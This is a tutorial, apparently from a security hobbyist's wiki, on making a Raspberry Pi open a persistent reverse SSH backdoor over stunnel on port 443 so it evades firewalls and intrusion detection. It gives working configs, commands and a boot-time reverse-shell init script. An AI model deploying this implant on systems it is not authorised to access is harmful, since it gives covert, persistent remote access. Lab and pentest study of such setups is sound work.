From charlesreid1

We covered setting up a forward SSH tunnel over SSL using stunnel in the RaspberryPi/SSH Stunnel article, where the Raspberry Pi was the client and the command and control server was a laptop running Kali Linux.

Now we'll cover the extension of that scenario to our reverse SSH scenario: RaspberryPi/Reverse SSH

Basically, we'll be extending the Reverse SSH procedure to work over stunnel. This will give us a Raspberry Pi that will create a backdoor connection via SSH over SSL, on port 443, so it looks like standard SSL traffic and thus gets past firewalls and intrusion detection systems.

What We Will Do

Thanks to the RaspberryPi/SSH Stunnel article, we have an SSH command to connect to a local port, and we have an stunnel service to encrypt and forward all that traffic along through port 443 to the remote command and control server's port 443.

So we need two things:

  • stunnel service to start on startup
  • reverse ssh command to be modified

The Pieces

Starting Stunnel on Boot

First, we want to make sure stunnel starts at boot.

$ /etc/init.d/stunnel4

SSH Command

The next piece to determine is the SSH command.

To SSH from the Raspberry Pi client to the Command and Control server, we must pick a port number for the forward and reverse SSH connections.

Everything involved with the SSH connection will be carried over the SSL connection, so regardless of what ports we choose for the forward and reverse SSH connections, they'll all be on the local machine - all the traffic will still travel over the SSL connection on the HTTPS port (443).

First, our configuration file on the Command and Control server:

output = /var/log/stunnel4/stunnel.log
cert=/etc/ssl/stunnel.pem
key=/etc/ssl/stunnel.pem
pid=/var/run/stunnel.pid
client=yes
[ssh]
accept = 443
connect = 127.0.0.1:22

Next, our configuration on the Raspberry Pi client:

output = /var/log/stunnel4/stunnel.log
cert=/etc/stunnel/stunnel.pem
key=/etc/stunnel/stunnel.pem
pid=/var/run/stunnel4/stunnel.pid
client=yes
[ssh]
accept = 2200
connect = 10.0.0.19:443

This makes our final SSH command look like:

$ ssh -R 2201:localhost:22 -p 443 root@localhost 

This creates a forward connection on the Raspberry Pi port 2200, and a reverse connection on the Command and Control server on port 2201.

When we run this from the Raspberry Pi, we should get a command prompt at the Command and Control server:

root@kali-pi:/etc/stunnel# ssh -R 2201:localhost:22 -p 2200 root@localhost
Linux kronos 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug  4 14:28:39 2015 from localhost
Cannot open display "default display"
root@kronos:~# 

StunnelReverseSSHSuccess.png


And now we can also do the reverse. Once that SSH connection is open, we can also SSH to the Raspberry Pi from the command and control server:

root@kronos:~# ssh -p 2201 root@localhost
Linux kali-pi 3.12.36 #1 PREEMPT Fri Apr 10 23:27:49 CDT 2015 armv6l

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug  4 21:19:20 2015 from localhost
root@kali-pi:~# 

StunnelReverseSSHSuccess2.png


Putting It All Together

We will put everything together by editing our reverse ssh initialization script in /etc/init.d/reverse-ssh to look like this:

#! /bin/sh

### BEGIN INIT INFO
# Provides: new-reverse-ssh
# Required-Start: 
# Required-Stop: 
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Start reverse ssh at boot time
# Description: Start reverse ssh at boot time. 
### END INIT INFO 

# Carry out specific functions when asked to by the system
case "$1" in
  start)
    echo "Opening reverse shell"
    /usr/bin/ssh -R 2201:localhost:22 -p 2200 root@localhost -f -N
    ;;
  stop)
    echo "Too bad"
    ;;
  *)
    echo "Usage: /etc/init.d/reverse-ssh {start|stop}"
    exit 1
    ;;
esac

exit 0


This uses our up-to-date ssh command.

Remember, the SSH command can be broken down like this:

ssh -R 2201:localhost:22 -p 2200 root@localhost -f -N

This will SSH to localhost through port 2200 (this is then rerouted through stunnel, wrapped in SSL, and forwarded to port 443 on our command and control server).

This will also create a reverse connection, using the same connection (the reverse connection is maintained, from port 2200, through port 443, through stunnel, through the SSL encryption layer, and out to the command and control server).

-f runs SSH in the background.

-N doesn't run any commands on the remote server, it just opens the port.

This reverse connection is available on the command and control server at port 2201.


Test It Out

First, power down the Pi.

Now plug in the Pi. Let it go through its boot sequence.

In the boot sequence, it will start the stunnel and reverse ssh scripts, allowing the reverse SSH tunnel to be made.